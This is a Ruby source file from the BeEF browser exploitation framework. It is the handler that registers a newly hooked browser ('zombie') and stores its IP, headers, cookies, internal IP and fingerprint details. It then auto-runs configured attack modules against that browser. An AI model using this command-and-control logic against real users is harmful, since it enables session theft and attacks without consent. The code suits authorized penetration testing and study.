PageRenderTime 54ms CodeModel.GetById 22ms RepoModel.GetById 1ms app.codeStats 0ms

/extensions/initialization/handler.rb

https://code.google.com/
Ruby | 295 lines | 232 code | 28 blank | 35 comment | 23 complexity | 3cb8b046caabcd13caa32404328cb84b MD5 | raw file
  1. #
  2. # Copyright 2011 Wade Alcorn wade@bindshell.net
  3. #
  4. # Licensed under the Apache License, Version 2.0 (the "License");
  5. # you may not use this file except in compliance with the License.
  6. # You may obtain a copy of the License at
  7. #
  8. # http://www.apache.org/licenses/LICENSE-2.0
  9. #
  10. # Unless required by applicable law or agreed to in writing, software
  11. # distributed under the License is distributed on an "AS IS" BASIS,
  12. # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13. # See the License for the specific language governing permissions and
  14. # limitations under the License.
  15. #
  16. module BeEF
  17. module Extension
  18. module Initialization
  19. #
  20. # The http handler that manages the return of the initial browser details.
  21. #
  22. class Handler
  23. @data = {}
  24. HB = BeEF::Core::Models::HookedBrowser
  25. BD = BeEF::Extension::Initialization::Models::BrowserDetails
  26. def initialize(data)
  27. @data = data
  28. setup()
  29. end
  30. def err_msg(error)
  31. print_error "[INITIALIZATION] #{error}"
  32. end
  33. def setup()
  34. # validate hook session value
  35. session_id = get_param(@data, 'beefhook')
  36. (self.err_msg "session id is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(session_id)
  37. hooked_browser = HB.first(:session => session_id)
  38. return if not hooked_browser.nil? # browser is already registered with framework
  39. # create the structure representing the hooked browser
  40. zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id)
  41. zombie.firstseen = Time.new.to_i
  42. # hostname
  43. if not @data['results']['HostName'].nil? then
  44. log_zombie_domain=@data['results']['HostName']
  45. elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
  46. log_zombie_domain=@data['request'].referer.gsub('http://', '').gsub('https://', '').split('/')[0]
  47. else
  48. log_zombie_domain="unknown" # Probably local file open
  49. end
  50. # port
  51. if not @data['results']['HostPort'].nil? then
  52. log_zombie_port=@data['results']['HostPort']
  53. else
  54. log_zombie_domain_parts=log_zombie_domain.split(':')
  55. log_zombie_port=80
  56. if log_zombie_domain_parts.length > 1 then
  57. log_zombie_port=log_zombie_domain_parts[1].to_i
  58. end
  59. end
  60. zombie.domain = log_zombie_domain
  61. zombie.port = log_zombie_port
  62. #Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
  63. @http_headers = Hash.new
  64. http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
  65. .each {|key,value|
  66. @http_headers[key.sub(/^HTTP_/, '')] = value
  67. }
  68. zombie.httpheaders = @http_headers.to_json
  69. zombie.save
  70. # add a log entry for the newly hooked browser
  71. BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
  72. # get and store browser name
  73. browser_name = get_param(@data['results'], 'BrowserName')
  74. if BeEF::Filters.is_valid_browsername?(browser_name)
  75. BD.set(session_id, 'BrowserName', browser_name)
  76. else
  77. self.err_msg "Invalid browser name returned from the hook browser's initial connection."
  78. end
  79. # get and store browser version
  80. browser_version = get_param(@data['results'], 'BrowserVersion')
  81. if BeEF::Filters.is_valid_browserversion?(browser_version)
  82. BD.set(session_id, 'BrowserVersion', browser_version)
  83. else
  84. self.err_msg "Invalid browser version returned from the hook browser's initial connection."
  85. end
  86. # get and store browser string
  87. browser_string = get_param(@data['results'], 'BrowserReportedName')
  88. if BeEF::Filters.is_valid_browserstring?(browser_string)
  89. BD.set(session_id, 'BrowserReportedName', browser_string)
  90. else
  91. self.err_msg "Invalid browser string returned from the hook browser's initial connection."
  92. end
  93. # get and store the cookies
  94. cookies = get_param(@data['results'], 'Cookies')
  95. if BeEF::Filters.is_valid_cookies?(cookies)
  96. BD.set(session_id, 'Cookies', cookies)
  97. else
  98. self.err_msg "Invalid cookies returned from the hook browser's initial connection."
  99. end
  100. # get and store the os name
  101. os_name = get_param(@data['results'], 'OsName')
  102. if BeEF::Filters.is_valid_osname?(os_name)
  103. BD.set(session_id, 'OsName', os_name)
  104. else
  105. self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
  106. end
  107. # get and store page title
  108. page_title = get_param(@data['results'], 'PageTitle')
  109. if BeEF::Filters.is_valid_pagetitle?(page_title)
  110. BD.set(session_id, 'PageTitle', page_title)
  111. else
  112. self.err_msg "Invalid page title returned from the hook browser's initial connection."
  113. end
  114. page_title = get_param(@data['results'], 'PageTitle')
  115. if BeEF::Filters.is_valid_pagetitle?(page_title)
  116. BD.set(session_id, 'PageTitle', page_title)
  117. else
  118. self.err_msg "Invalid page title returned from the hook browser's initial connection."
  119. end
  120. # get and store page title
  121. host_name = get_param(@data['results'], 'HostName')
  122. if BeEF::Filters.is_valid_hostname?(host_name)
  123. BD.set(session_id, 'HostName', host_name)
  124. else
  125. self.err_msg "Invalid host name returned from the hook browser's initial connection."
  126. end
  127. # get and store the browser plugins
  128. browser_plugins = get_param(@data['results'], 'BrowserPlugins')
  129. if BeEF::Filters.is_valid_browser_plugins?(browser_plugins)
  130. BD.set(session_id, 'BrowserPlugins', browser_plugins)
  131. else
  132. self.err_msg "Invalid browser plugins returned from the hook browser's initial connection."
  133. end
  134. # get and store the system platform
  135. system_platform = get_param(@data['results'], 'SystemPlatform')
  136. if BeEF::Filters.is_valid_system_platform?(system_platform)
  137. BD.set(session_id, 'SystemPlatform', system_platform)
  138. else
  139. self.err_msg "Invalid system platform returned from the hook browser's initial connection."
  140. end
  141. # get and store the internal ip address
  142. internal_ip = get_param(@data['results'], 'InternalIP')
  143. if BeEF::Filters.is_valid_ip?(internal_ip)
  144. BD.set(session_id, 'InternalIP', internal_ip)
  145. else
  146. self.err_msg "Invalid internal IP address returned from the hook browser's initial connection."
  147. end
  148. # get and store the internal hostname
  149. internal_hostname = get_param(@data['results'], 'InternalHostname')
  150. if BeEF::Filters.is_valid_hostname?(host_name)
  151. BD.set(session_id, 'InternalHostname', internal_hostname)
  152. else
  153. self.err_msg "Invalid internal hostname returned from the hook browser's initial connection."
  154. end
  155. # get and store the hooked browser type
  156. browser_type = get_param(@data['results'], 'BrowserType')
  157. if BeEF::Filters.is_valid_browsertype?(browser_type)
  158. BD.set(session_id, 'BrowserType', browser_type)
  159. else
  160. self.err_msg "Invalid hooked browser type returned from the hook browser's initial connection."
  161. end
  162. # get and store the zombie screen size and color depth
  163. screen_params = get_param(@data['results'], 'ScreenParams')
  164. if BeEF::Filters.is_valid_screen_params?(screen_params)
  165. BD.set(session_id, 'ScreenParams', screen_params)
  166. else
  167. self.err_msg "Invalid screen params returned from the hook browser's initial connection."
  168. end
  169. # get and store the window size
  170. window_size = get_param(@data['results'], 'WindowSize')
  171. if BeEF::Filters.is_valid_window_size?(window_size)
  172. BD.set(session_id, 'WindowSize', window_size)
  173. else
  174. self.err_msg "Invalid window size returned from the hook browser's initial connection."
  175. end
  176. # get and store the yes|no value for JavaEnabled
  177. java_enabled = get_param(@data['results'], 'JavaEnabled')
  178. if BeEF::Filters.is_valid_yes_no?(java_enabled)
  179. BD.set(session_id, 'JavaEnabled', java_enabled)
  180. else
  181. self.err_msg "Invalid value for JavaEnabled returned from the hook browser's initial connection."
  182. end
  183. # get and store the yes|no value for VBScriptEnabled
  184. vbscript_enabled = get_param(@data['results'], 'VBScriptEnabled')
  185. if BeEF::Filters.is_valid_yes_no?(vbscript_enabled)
  186. BD.set(session_id, 'VBScriptEnabled', vbscript_enabled)
  187. else
  188. self.err_msg "Invalid value for VBScriptEnabled returned from the hook browser's initial connection."
  189. end
  190. # get and store the yes|no value for HasFlash
  191. has_flash = get_param(@data['results'], 'HasFlash')
  192. if BeEF::Filters.is_valid_yes_no?(has_flash)
  193. BD.set(session_id, 'HasFlash', has_flash)
  194. else
  195. self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
  196. end
  197. # get and store the yes|no value for HasGoogleGears
  198. has_googlegears = get_param(@data['results'], 'HasGoogleGears')
  199. if BeEF::Filters.is_valid_yes_no?(has_googlegears)
  200. BD.set(session_id, 'HasGoogleGears', has_googlegears)
  201. else
  202. self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
  203. end
  204. # get and store the yes|no value for HasWebSocket
  205. has_web_socket = get_param(@data['results'], 'HasWebSocket')
  206. if BeEF::Filters.is_valid_yes_no?(has_web_socket)
  207. BD.set(session_id, 'HasWebSocket', has_web_socket)
  208. else
  209. self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
  210. end
  211. # get and store the yes|no value for HasActiveX
  212. has_activex = get_param(@data['results'], 'HasActiveX')
  213. if BeEF::Filters.is_valid_yes_no?(has_activex)
  214. BD.set(session_id, 'HasActiveX', has_activex)
  215. else
  216. self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
  217. end
  218. # get and store whether the browser has session cookies enabled
  219. has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
  220. if BeEF::Filters.is_valid_yes_no?(has_session_cookies)
  221. BD.set(session_id, 'hasSessionCookies', has_session_cookies)
  222. else
  223. self.err_msg "Invalid value for hasSessionCookies returned from the hook browser's initial connection."
  224. end
  225. # get and store whether the browser has persistent cookies enabled
  226. has_persistent_cookies = get_param(@data['results'], 'hasPersistentCookies')
  227. if BeEF::Filters.is_valid_yes_no?(has_persistent_cookies)
  228. BD.set(session_id, 'hasPersistentCookies', has_persistent_cookies)
  229. else
  230. self.err_msg "Invalid value for hasPersistentCookies returned from the hook browser's initial connection."
  231. end
  232. # Call autorun modules
  233. autorun = []
  234. BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
  235. if v.has_key?('autorun') and v['autorun'] == true
  236. if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
  237. BeEF::Module.execute(k, session_id)
  238. autorun.push(k)
  239. else
  240. print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
  241. end
  242. end
  243. }
  244. if autorun.length > 0
  245. print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
  246. end
  247. end
  248. def get_param(query, key)
  249. (query.class == Hash and query.has_key?(key)) ? query[key] : nil
  250. end
  251. end
  252. end
  253. end
  254. end